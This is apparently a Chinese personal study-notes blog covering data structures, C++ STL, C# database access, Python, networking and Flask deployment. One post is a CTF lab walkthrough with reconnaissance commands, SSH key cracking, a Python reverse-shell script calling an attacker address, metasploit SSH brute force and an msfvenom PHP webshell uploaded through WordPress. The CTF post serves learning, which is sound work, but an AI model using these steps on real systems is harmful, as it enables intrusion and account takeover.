基本概念
- 数据:描述客观师傅的符号,是计算机中可以操作的对象,是能被计算机识别,并输入给计算机处理的符号集合。
- 特点:
- 可以输入到计算机中
- 能够被计算机程序处理
- 数据不仅仅包括整型、实型等数值类型,还包括字符及声音、图像、视频等非数值类型
- 特点:
- 数据元素:组成数据的、有一定意义的基本单位,在计算机中通常作为整体处理,也被称为记录
- 数据元素组成数据
- 数据项:数据项是数据不可分割的最小单位
- 数据对象:性质相同的数据元素的集合,是数据的子集
- 举例:
- 数据元素:安迪、不知火舞……
- 数据对象:游戏角色(是数据元素的集合)
- 数据:游戏中不只有游戏角色,还会有游戏场景、背景音乐、过场动画等
- 数据结构:
- 数据元素+特定关系=数据结构
- 现实世界中,不同数据元素之间不是独立的,而是存在特定的关系,我们将这些关系称为结构
- 结构就是关系
- 数据结构是相互之间存在一种或多种特定关系的数据元素的集合
- 逻辑结构
- 集合结构:
- 其中数据元素同属一个集合
- 数据元素相互之间没有其他关系
- 线性结构:数据元素之间是一对一的关系
- 树形结构:数据元素之间存在一种一对多的层次关系
- 图形结构:数据元素之间是多对多的关系
- 集合结构:
- 物理结构
- 定义:又叫做存储结构,是指数据的逻辑结构在计算中的存储形式
- 顺序存储结构:
- 把数据元素存储在地址连续的存储单元里
- 数据间的逻辑关系与物理关系一致
- 链式存储结构:
- 把数据元素存放在任意的存储单元里
- 地址可以连续也可以不连续
- 数据:描述客观师傅的符号,是计算机中可以操作的对象,是能被计算机识别,并输入给计算机处理的符号集合。
74. 计算机组成原理
73. C++ STL
string
- length() // 返回字符串的长度
- empty() // 判断是否为空
- push_back() // 恢复字符到结尾
- int compare(const string &s) const;//比较当前字符串和s的大小
vector
- 初始化:
1
2
3
4
5vector():创建一个空vector
vector(int nSize):创建一个vector,元素个数为nSize
vector(int nSize,const t& t):创建一个vector,元素个数为nSize,且值均为t
vector(const vector&):复制构造函数
vector(begin,end):复制[begin,end)区间内另一个数组的元素到vector中 - void push_back(const T& x):向量尾部增加一个元素X
- 删除
1
2
3
4iterator erase(iterator it):删除向量中迭代器指向元素
iterator erase(iterator first,iterator last):删除向量中[first,last)中元素
void pop_back():删除向量中最后一个元素
void clear():清空向量中所有元素 - int size() const:返回向量中元素的个数
- empty 判断vector是否为空
- 初始化:
map (键值对)
- 初始化:
1
map<int, string> m
- 添加
1
2
3m.insert(pair<int,string>(102,"aclive"));
m.insert(map<int,string>::value_type(321,"hai"));
m[112]="April";//map中最简单最常用的插入添加! - 遍历
1
2
3
4for (map<int, string>::iterator iter = m.begin(); iter != m.end(); iter++) {
cout << iter->first << ", " << iter->second << " ";
}
cout << endl; - 个数:
m.size()
更多点击这里
- 初始化:
pair
- 初始化:
- pair<int, string> p;
- pair<int, string> p (1, 2);
- make_pair(1,2);
- pair<int, string> (1, 2) (C11)
- 操作
- p.first
- p.second
- 初始化:
queue
- 初始化
1
queue<int> q;
- 入队
1
q.push(1);
- 出队
1
q.pop();
- 访问队首元素
1
q.front();
- 访问队尾元素
1
q.back();
- 判断队列空
1
q.empty();
- 元素的个数更多点击这里
1
q.size();
- 初始化
stack
- 初始化
1
stack<int> s;
- 入栈
1
s.push(1);
- 出栈
1
s.pop();
- 访问栈顶
1
s.top();
- 判断栈空
1
s.empty();
- 元素的个数更多点击这里
1
s.size();
- 初始化
72. CTF
- 第一章
- 探测靶场IP:
netdiscover -r <ip>/netmask
- 例子:本地机ip:192.168.253.12
- 使用
netdiscover -r 192.168.253.1/24
(为什么?)
- 使用
- 探测靶场IP:
- 查看当前ip地址:
ipconfig
- 测试连通性:
ping <ip>
- 第二章
- 信息探测:
nmap -sV <ip>
(挖掘开放服务信息)- 例子:
nmap -sV 192.168.253.10
- 探测靶场开放的服务于服务的版本:
nmap -sV <ip>
- 探测靶场的全部信息:
namp -A -v <ip>
- 探测靶场的操作系统类型与版本:
nmap -O <ip>
- 分析探测结果
- 每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023端口,在扫描结果中查找特殊端口(如mysql:3306)。
- 针对特殊端口进行探测,尤其对开发大端口的http服务进行排查
- 探测大端口的信息
- 对于开放http服务的大端口,可以采取http://ip:port/的形式访问
- 查看源代码获取对应信息;如果没有flag信息,可以使用工具探测隐藏页面
dirb http://ip:port
(探测隐藏页面)- 敏感文件:
- .ssh
- .robots
- taxes
- ssh:
- 使远程计算机使用ssh登录到本地服务器ssh服务上,实现远程计算机对ssh服务的操作
- 直接使用浏览器访问,查看效果、对应源代码可能会获取flag,或者下一步对应的提示
- 挖掘ssh信息,不断访问多去更多泄漏的ssh秘钥信息
- ssh认证方式:
- id_rsa(私钥)
- 服务器id_rsa.pub(公钥)
- 对比成功则登录服务器,否则失败
- 使用私钥文件登录服务器:
- 先切换到文件所在目录
- 赋予可读可写权限
- 查看权限:
ls -alh
- 查看权限:
- 查看用户名:authorized_keys
- 赋予 id_rsa 可读可写权限:
chmod 600 id_rsa
ssh -i id_rsa <用户名>@<ip>
- 解密 ssh秘钥信息
- 使用 ssh2john 将id_isa秘钥信息转化为john可以识别的信息。
- ssh2john id_isa > isacrack
- 利用字典解密
isacrack
:zcat /usr/share/wordlists/rockyou.txt | john --pipe --rules isacrack
- 分析用户名、利用ssh登录服务器
- 注意root目录
- 查找具有root权限的文件:
find / -perm -4000 2>/dev/null
- whoami:看是什么权限
- ssh基于22号端口的服务
- 例子:
- 分析探测结果
- 对于SSH服务的22端口的靶场:
- 暴力破解
- 私钥泄漏(私钥有没有对应的密码,是否可以找到私钥的用户名)
- 对于开放http服务的80端口或者其他端口的靶场
- 通过浏览器访问对应的靶场服务,如
http://靶场ip地址:http服务端口
- 使用探测工具对http的目录进行探测,如:
dirb http://靶场IP地址:http服务端口
- 特别注意:特殊端口(大于1024的端口)
- 对于某些靶场,可以使用
nikto
扫描器挖掘敏感信息:nikto -host 靶场IP地址
- 特别注意
config
、file结尾的
等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息
- 通过浏览器访问对应的靶场服务,如
- 利用敏感、弱点信息
- 修改id_rsa的权限:
chmod 600 id_rsa
- 利用私钥登录服务器:
ssh -i id_rsa 用户名@靶场IP地址
- 注意:如果 id_rsa没有破解密码,可以直接使用,如果有解密密码,则需要进行对应的破解
- 下载私钥信息:
wget "网址"
- 重命名:
mv 文件名 重命名的文件名
- 查看所有文件:
ls -all
- 修改id_rsa的权限:
- 扩大战果:
- 查看当前用户:
whoami
- id 查看当前用户的权限
- 查看 根目录 寻找flag文件
- 如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组
- cat /etc/passwd 查看所有用户的列表
- cat /etc/group 查看用户组
- find / -user 用户名 查看属于某些用户的文件
- /tmp 查看缓冲文件目录
- 查看当前用户:
- 如何提权:
- 深入挖掘:
- 通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
- cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶机机器的某个文件。
- 如果在 /etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
- 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否有读写权限。
- su -root 寻找root靶机机器的方式
- 切换到/home/用户名 目录查看是否具有可以提升root权限的文件
- 反弹shell
- 靶场代码
1
2
3
4
5
6
7
8
9#!/usr/bin/python
import os, subprocess, socket
s = socket.socekt(socket.AF_INET, socket.SOCK_STREAM)
s.connect("攻击机IP地址", "攻击机监听端口")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"]) - 攻击机
netcat
命令:nc -lpv 未占用接口
(未占用接口与攻击机监听端口一一对应) - 查看占用端口:
netstat -pantu
- 添加执行权限:
chmod +x 文件名
- 靶场代码
- 背水一战
- 万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具 如:hydra、medusa等
- 利用cupp 创建字典:
- git clone https://github.com/jeanphorn/common-password.git
- chmod +x cupp.py
- ./cupp.py -i 以交互的方式创建字典
- 使用metasploit破解SSH
- 在终端输入:msfconsole
- msc > use auxiliary/scanner/ssh/ssh_login
- msf auxiliary(ssh_login) > set rhosts IP地址
- msf auxiliary(ssh_login) > set username hadi
- msf auxiliary(ssh_login) > set pass_file hadi.txt
- msf auxiliary(ssh_login) > set threads 5
- msf auxiliary(ssh_login) > show options(查看状态))
- msf auxiliary(ssh_login) > set verbose true
- msf auxiliary(ssh_login) > run
- msf auxiliary(ssh_login) > set password hadi123
- msf auxiliary(ssh_login) > back (关闭)
- 优化会话
-
python -c "import pty;pty.spawn('/bin/bash')"
- su - root
-
- 总结:
- 在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
- CTF中 要特别注意 /tep数据缓冲目录 以及 /etc/crontab设置定时执行的文件
- 深入挖掘:
- 对于SSH服务的22端口的靶场:
- 信息探测:
- 第三章
- SMB介绍:
- SMB通信协议是微软和英特尔在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba
- SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445
- SMB协议,计算机可以访问网络资源,下载对应的资源文件
- 实验环境:
- Kali linux 192.168.253.12
- 靶场机器 192.168.253.17
- 信息探测
- 对于知识给定一个对应IP地址的靶场机器,我们需要对其 进行扫描,探测开放的服务
- 渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限
- nmap -sV IP 挖掘开放服务信息
- nmap -A -v -T4 IP 挖掘靶场全部信息
- 针对SMB协议弱点分析
- 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
- smbclient -L IP
- smbclient ‘\IP$share’
- get 敏感文件
- 敏感信息:
- deets.txt
- wordpress
- config
- 针对SMB协议远程溢出漏洞进行分析;
- searchsploit samba 版本号
- 登陆数据库
- mysql -h IP -u Admin -p
- 针对HTTP协议拖点分析
- 浏览器查看网站
- 使用 dirb nikto 探测
- 寻找突破点,目标登陆后台,上传webshell
- 制作webshell
- msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php
- 启动监听
- msf > use exploit/multi/handler
- msf exploit(handler) > set payload php/meterpreter/reverse_tcp
- msf exploit(handler) > set lhost 攻击机IP
- msf exploit(handler) > set lport 4444
- msf exploit(handler) > run
- 上传webshell
- 使用找到的敏感信息登陆系统后台,上传webshell。执行webshell(访问具有webshell的php页面)
- 获得反弹的shell
- wordpress 上传点 theme 404.php
- 执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
- 查找flag信息
- 优化终端:python -c “import pty; pty.spawn(‘/bin/bash’)”
- 查找敏感信息,提升root权限,查看flag值
- 查找用户名:cat /etc/passwd
- 查找密码:在共享目录下的敏感文件,提升权限
- su 用户名
- sudo -l
- su sudo
- 总结
- 对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
- 一般情况下flag值都在/root目录下,并且需要提升root权限才能查看内容
- 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
- SMB介绍:
71. C#连接数据库
sql server在安装时,一般都会选择默认实例服务器以Window身份认证,以电脑账户为名称无密码形式存在,后期我们开发项目时,用到的数据库服务器都是以IP为名称,单独设立密码的,此时我们默认安装的服务器引擎怎么修改成项目通用形式呢。
- 打开数据库,使用默认账户登录(电脑默认账户,无密码)。
- 右击”服务器引擎”,选择“属性”表中的“安全性”,“服务器身份验证” 选择 “SQL Server”和“Windows身份验证模式”,这一步在下面好像可以再选,具体本人没试过。
- 找到数据库 “安全性” –>“登录名” –>“sa” 右击属性,可以修改“登录名”,以SQL Server身份验证,填写密码(密码可能会需要复杂度,字母数字组合,修改失败注意下)。
- 依旧是上面截图这里,看“状态栏”内容,有人忘了设置这里,去用”sa”账户登录,得到错误,此账户禁止使用,原因就在这里,在这里我们要设置“登录”选项为“启用”。
- 上面说了怎么修改服务器的名称和密码,可以用下面方式登录数据库。
- 但是我们的最终目标是以IP为登录名来登录数据库,打开Sql Server配置管理器(Sql Server Configuration Manager),找到“SQL Server网络配置”,进入“SQLEXPRESS的协议” ,“TCP/IP”右击属性 “协议” 中“已启用”修改为“是”
- 继续操作第6步,“TCP/IP”右击属性 “IP 地址” 中 修改 “IP2”中的 IP地址 为自己的电脑IP,这里必须是自己电脑的IP,不是你自己随便给的IP。
- 在Sql Server配置管理器(Sql Server Configuration Manager)中重启数据库服务。
- 以IP为名称登录,结束。
- 出现
SQL Server2014“用户'sa'登录失败,错误18456”问题
- 使用Windows身份验证登录数据库。
- 右键数据库服务器名,选择【属性】。
- 打开“服务器属性”窗口,选择【安全性】,更改“服务器身份验证”,如下图所示。
- 展开数据库服务器名—“安全性”—“登录名”, 右键“sa”用户,选择【属性】。
- 打开“登录属性”窗口,选择【常规】,设置密码。
- 仍然在“登录属性”窗口,选择【状态】,选择“登录”下面的【已启用】,如下图所示。
- 右键数据库服务器名,选择【重新启动】。
- 使用Windows身份验证登录数据库。
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28SqlConnectionStringBuilder scsb = new SqlConnectionStringBuilder();
scsb.DataSource = "127.0.0.1";
scsb.UserID = "sa";
scsb.Password = "password";
scsb.InitialCatalog = "demo";
//MessageBox.Show(scsb.ToString());
SqlConnection conn = new SqlConnection(scsb.ToString());
if (conn.State == System.Data.ConnectionState.Closed) conn.Open();
string str_sql = "select * from customer";
//SqlCommand comm = new SqlCommand(str_sql, conn); // 查询单行
// 查询数据表
SqlDataAdapter da = new SqlDataAdapter(str_sql, conn);
DataSet ds = new DataSet();
da.Fill(ds, "test"); // 参数1:dataset对象; 参数2:表名,自定义的名字,不需要和查询的表名相同
/* 绑定数据到datagridview */
/* 方法一 */
// show_dataGridView.DataSource = ds;
// show_dataGridView.DataMember = "test";
/* 方法二 */
//prod_dataGridView.DataSource = ds.Tables["product"];
/* 方法三 */
DataTable dt = ds.Tables["test"];
prod_dataGridView.DataSource = dt.DefaultView;
70. C/C++ 知识点
69. Python易混的点
axis
- 轴用来为超过一维的数组定义的属性,二维数据拥有两个轴:第0轴沿着行的垂直往下,第1轴沿着列的方向水平延伸。
- 官方对于0和1的解释是轴,也就是坐标轴。而坐标轴是有方向的,所以千万不要用行和列的思维去想axis,因为行和列是没有方向的,这样想会在遇到不同的例子时感到困惑。
- axis的重点在于方向,而不是行和列。具体到各种用法而言也是如此。当axis=1时,如果是求平均,那么是从左到右横向求平均;如果是拼接,那么也是左右横向拼接;如果是drop,那么也是横向发生变化,体现为列的减少。
- 当考虑了方向,即axis=1为横向,axis=0为纵向,而不是行和列,那么所有的例子就都统一了。
eval
lambda
将lambda函数赋值给一个变量,通过这个变量间接调用该lambda函数。
例如,执行语句add=lambda x, y: x+y,定义了加法函数lambda x, y: x+y,并将其赋值给变量add,这样变量add便成为具有加法功能的函数。例如,执行add(1,2),输出为3。
将lambda函数赋值给其他函数,从而将其他函数用该lambda函数替换。
例如,为了把标准库time中的函数sleep的功能屏蔽(Mock),我们可以在程序初始化时调用:time.sleep=lambda x:None。这样,在后续代码中调用time库的sleep函数将不会执行原有的功能。例如,执行time.sleep(3)时,程序不会休眠3秒钟,而是什么都不做。
将lambda函数作为其他函数的返回值,返回给调用者。
函数的返回值也可以是函数。例如return lambda x, y: x+y返回一个加法函数。这时,lambda函数实际上是定义在某个函数内部的函数,称之为嵌套函数,或者内部函数。对应的,将包含嵌套函数的函数称之为外部函数。内部函数能够访问外部函数的局部变量,这个特性是闭包(Closure)编程的基础,在这里我们不展开。
将lambda函数作为参数传递给其他函数。
部分Python内置函数接收函数作为参数。典型的此类内置函数有这些。
filter函数。此时lambda函数用于指定过滤列表元素的条件。例如filter(lambda x: x % 3 == 0, [1, 2, 3])指定将列表[1,2,3]中能够被3整除的元素过滤出来,其结果是[3]。
sorted函数。此时lambda函数用于指定对列表中所有元素进行排序的准则。例如sorted([1, 2, 3, 4, 5, 6, 7, 8, 9], key=lambda x: abs(5-x))将列表[1, 2, 3, 4, 5, 6, 7, 8, 9]按照元素与5距离从小到大进行排序,其结果是[5, 4, 6, 3, 7, 2, 8, 1, 9]。
map函数。此时lambda函数用于指定对列表中每一个元素的共同操作。例如map(lambda x: x+1, [1, 2,3])将列表[1, 2, 3]中的元素分别加1,其结果[2, 3, 4]。
reduce函数。此时lambda函数用于指定列表中两两相邻元素的结合条件。例如reduce(lambda a, b: ‘{}, {}’.format(a, b), [1, 2, 3, 4, 5, 6, 7, 8, 9])将列表 [1, 2, 3, 4, 5, 6, 7, 8, 9]中的元素从左往右两两以逗号分隔的字符的形式依次结合起来,其结果是’1, 2, 3, 4, 5, 6, 7, 8, 9’。
68. 编程软件快捷键
67. 计算机网络
第一章 计算机网络概述
概念:
局域网
- 覆盖范围小,自己花钱买设备,带宽固定,自己维护
注意:
- 电脑到交换机长度不超过100米
- 交换机之间的长度也不超过100米
- 交换机会加强信号
- 带宽:如:100兆:则每个口都是百兆带宽
- 交换机端口带宽要高,口不一定多
- 不要串联,防止流量太大,规范的计算机:应该是分层。
- 带宽:10M、 100M、 1000M
广域网
- 距离比较远,超过100米
- 带宽不固定
- 花钱买带宽
- 链路不需要自己维护
3. Internet
1. 全球最大的互联网络
2. 由众多的ISP组成
3. ISP:Internet服务提供商
4. 运营商内部四通八达
5. 运营商有自己的机房
6. 跨运营商访问比较慢
7. 互联网的运营商很多
8. 对网民提供访问Internet连接
4. 规划IP地址介绍和MAC地址
1. 全球的计算机都得有IP地址。类似于写信得有地址
2. 地址不能重复
3. 讲解ip:例如:IP:13.0.0.0; 子网掩码:255.0.0.0
1. 13:是网络部分
2. 0.0.0:是主机部分
4. 网络掩码:告诉计算机哪是网络部分,哪是主机部分
5. 一个255,对应位置上则是网络部分
6. 一个局域网中,交换机上连接的计算机,他们的网络部分相同
7. 网关:到其他网段的应该给谁
8. 路由器作用:在不同网段转发数据
9. MAC地址(物理地址):
1. 出厂的时候就已经固定到芯片里面了,48位的二进制。
2. 全球唯一
5. 数据包和数据帧
1. 计算机都配有DNS,其中:
1. DNS:用来解析地址
2. 发送数据包,需要做的事:
1. 写上原地址(即自己的地址)
2. 写上目标地址
3. 目标MAC地址(疑问:通过IP地址来确定MAC地址?)
4. 原MAC地址
3. 发送时,先将数据包扔给路由器,让路由器往外转。扔的时候为了给路由器,此时则需要MAC地址
4. 数据包:没加MAC地址<br/>数据帧:加上MAC地址
5. 路由器转发数据时,需要用到了IP地址
6. 每次转发时,MAC地址需要重新写:原MAC地址和目标MAC地址
7. 包不变
8. IP地址决定了数据包最终到哪去
9. MAC地址决定了要想到目的地下一跳给谁
10. 为什么交换机就能直接得到mac地址,而路由器不可以
11. 交换机转发时看mac地址,IP地址看不懂
12. 路由器看IP地址,决定下一跳给哪个路由器
6. 访问网站数据传输过程
1. 将网页切割,如下图所示:<br/>
![](/source/imagess/posts/computer_network/2.png)
2. 切割完毕,将数据放到缓存中
3. 网卡都有缓存:接收缓存、发送缓存
4. 只有接收到数据包之后才会删除缓存
7. OSI参考模型
1. 这是计算机通讯规范
2. 应用层:所有能产生网络流量的程序
3. 表示层:在传输之前是否进行加密、压缩处理,二进制、ASCII码(编码方式应一一对应)
4. 会话层: `netstat -n`
1. TIME_WAIT:快要释放了
2. 可以查看木马(木马需要和外界联系,只要有联系,就会有会话)
5. 传输层:可靠传输、流量控制、不可靠传输
6. 网络层:负责选择最佳路径,规划IP地址
7. 数据链路层:帧的开始和结束;透明传输、差错校验
8. 物理层:接口标准 电器标准;如何在物理链路上传输更快的速度
8. 理解OSI参考模型分层思想
1. 较为独立,某一层发生改变时,不会引起其它层的改变
2.
66. Flask 部署上线
- 购买一个服务器,如在:阿里云、腾讯云上买等(阿里云有学生版);
- 将服务器添加安全组
- 进入实例列表,点击
更多
-网络和安全组
-安全组配置
- ``,如图所示: - 进入
配置规则
: - 选择
添加安全组规则
: - 将所指的地方,一模一样的填入到你的规则下
- 进入实例列表,点击
- 使用
xshell
连接- 具体使用,百度
- 使用
cmd
连接- 连接实例:
ssh demo@123.123.123.123
- 其中:
demo
为用户名,123.123.123.123
为公网地址
- 连接实例:
更新系统可安装的包文件,并对课升级的包,进行升级:
1
2apt update
apt upgrade创建用户:
adduser lqr
为用户赋予
root
权限:usermod -aG sudo lqr
切换用户:
su lqr
python3 安装
pip、dev
:sudo apt install python3-dev python3-pip
查看
pip3
的版本:pip3 --version
为
pip、pip3
设置镜像:1
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
全局安装
pipenv
:sudo -H pip3 install pipenv
【注意】:一定要全局安装,哪怕是使用
pip3 install pipenv
,也要用上面的命令装一次重新更新一遍:
1
2sudo apt update
sudo apt upgrade设置防火墙,并更新规则:
1
2
3
4sudo ufw allow 22
sudo ufw allow 80
sudo ufw allow 443
sudo ufw enable // 更新规则查看防火墙状态:
sudo ufw status
将仓库的目录下载到本地,实例以
MMCs
为例,即:lqr
目录下有MMCs
文件夹进入文件夹,并创建虚拟环境
1
2cd MMCs
pipenv install创建
.env
:nano .env
(可以直接复制)1
2FLASK_ENV=production
FALSK_CONFIG=production设置pipenv的镜像:
- 查看 Pipfile :
cat Pipfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17[[source]]
url = "https://pypi.org/simple"
verify_ssl = true
name = "pypi"
[packages]
flask = "*"
requests = "*"
wtforms = "*"
flask-sqlalchemy = "*"
cymysql = "*"
flask-login = "*"
[dev-packages]
[requires]
python_version = "3.7" - 将第2行:
url = "https://pypi.org/simple"
替换成:url = "https://pypi.tuna.tsinghua.edu.cn/simple/"
(这里的网址,可以替换成其他镜像)
- 查看 Pipfile :
进入shell,并安装
--dev、uwsgi
(在MMCs
文件夹下进行):1
2
3pipenv shell
pipenv install --dev
pipenv install uwsgi接着执行以下命令
1
2
3
4flask init // 如果已经初始化过,这里改成 flask init --drop
flask forge
flask translate compile
flask run如果出现类似下面的内容,说明配置的应该是正确的
1
2
3
4
5* Environment: development
* Debug mode:on
* Debugger is active!
* Debugger PIN: 202-005-064
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)然后,按
CTRL+C
结束,进行下一步使用 Gunicorn 运行程序
- 安装
pipenv install gunicorn
- 设置防火墙:
sudo ufw allow 8000
- 更新防火墙规则:
sudo ufw enable
- 运行程序:
gunicorn --workers=4 wsgi:app
- 按
CTRL+C
结束,进行下一步
- 安装
键入:
exit
,以退出 MMCs使用
nginx
- 安装 nginx :
sudo apt install nginx
- 可以访问你的
公网ip
(例如本案例中:123.123.123.123),可以看到welcome nginx
的界面 - 删除 default :
sudo rm /etc/nginx/sites-enabled/default
- 创建同项目文件夹名称的文件: 添加以下内容:
1
sudo nano /etc/nginx/sites-enabled/MMCs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16server {
listen 80 default_server;
server_name _;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
location / {
include uwsgi_params;
uwsgi_pass 127.0.0.1:3031;
}
location /static {
alias /home/lqr/MMCs/MMCs/static/;
expires 7d;
}
} - 测试nginx语法的正确性:
sudo nginx -t
,如果有下面的内容说明正确:1
2nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful - 重启 nginx:
sudo service nginx restart
- 设置 nginx的转发目标地址:
gunicorn -w 4 wsgi:app
- 安装 nginx :
使用 Supervisor 管理进程
- 安装:
sudo apt install supervisor
- 创建 MMCs.conf文件: 写入以下配置(自己按照情况改变):
1
sudo nano /etc/supervisor/conf.d/MMCs.conf
1
2
3
4
5
6
7
8[program:MMCs]
command=pipenv run uwsgi --socket 127.0.0.1:3031 --wsgi-file wsgi.py --callable app --processes 4 --threads 2 --stats 127.0.0.1:9191
directory=/home/lqr/MMCs
user=lqr
autostart=true
autorestart=true
stopasgroup=true
killasgroup=true - 配置 supervisord.conf
- 在 [supervisord] 节下添加下面这行定义
1
environment=LC_ALL='en_US.UTF-8',LANG='en_US.UTF-8'
- 在末尾添加
1
2
3
4[inet_http_server]
port=*:9001
username=lqr
password=lqr - 重启
supervisor
服务:sudo service supervisor restart
- 查看状态和进行相关操作:
sudo supervisorctl
- 在 [supervisord] 节下添加下面这行定义
- 安装:
安装
unzip
:sudo apt install unzip
将zip解压到
temp
文件夹中1
2mkdir temp
unzip -d temp temp.zip【注意】:命令需要在当前文件夹中
如果pip3 出现如下错误
1
2
3
4Traceback (most recent call last):
File "/usr/bin/pip", line 9, in <module>
from pip import main
ImportError: cannot import name 'main'那么,修改
/usr/bin/pip3
:1
sudo nano /usr/bin/pip3
将
from pip import main
修改为from pip._internal import main
,即可如果使用
pipenv install --dev
安装依赖,出现安装超时:ReadTimeoutError
,那么将.env
的文件添加PIPENV_TIMEOUT=3600
如果想重新初始化或者更改了某些文件,执行下面的命令
1
2
3
4flask init --drop
flask forge
flask translate compile
flask runnginx上传默认1m,因此,需要更改一下:
- 打开nginx配置文件 nginx.conf, 路径一般是:/etc/nginx/nginx.conf
- 在http{}段中加入 client_max_body_size 20m; 20m为允许最大上传的大小
- 保存后重启nginx,问题解决。
文件下载不了:将
diff
更改为true
,见下图:[错误日志]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28[2019-08-20 11:24:30,814] - MMCs - 60.2.111.59 requested http://47.98.142.112/admin/score/download/teacher
ERROR in app: Exception on /admin/score/download/teacher [GET]
Traceback (most recent call last):
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask/app.py", line 2446, in wsgi_app
response = self.full_dispatch_request()
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask/app.py", line 1951, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask/app.py", line 1820, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask/_compat.py", line 39, in reraise
raise value
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask/app.py", line 1949, in full_dispatch_request
rv = self.dispatch_request()
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask/app.py", line 1935, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "/home/lqr/.local/share/virtualenvs/MMCs-SswGTqqS/lib/python3.6/site-packages/flask_login/utils.py", line 299, in decorated_view
return func(*args, **kwargs)
File "./MMCs/blueprints/admin.py", line 286, in download_teacher
zfile = gen_teacher_result(com.id)
File "./MMCs/downloader.py", line 46, in gen_teacher_result
zip2here(file, zfile)
File "./MMCs/utils/zip.py", line 22, in zip2here
z.write(input_path, file)
File "/usr/lib/python3.6/zipfile.py", line 1617, in write
zinfo = ZipInfo.from_file(filename, arcname)
File "/usr/lib/python3.6/zipfile.py", line 507, in from_file
st = os.stat(filename)
FileNotFoundError: [Errno 2] No such file or directory: 'h'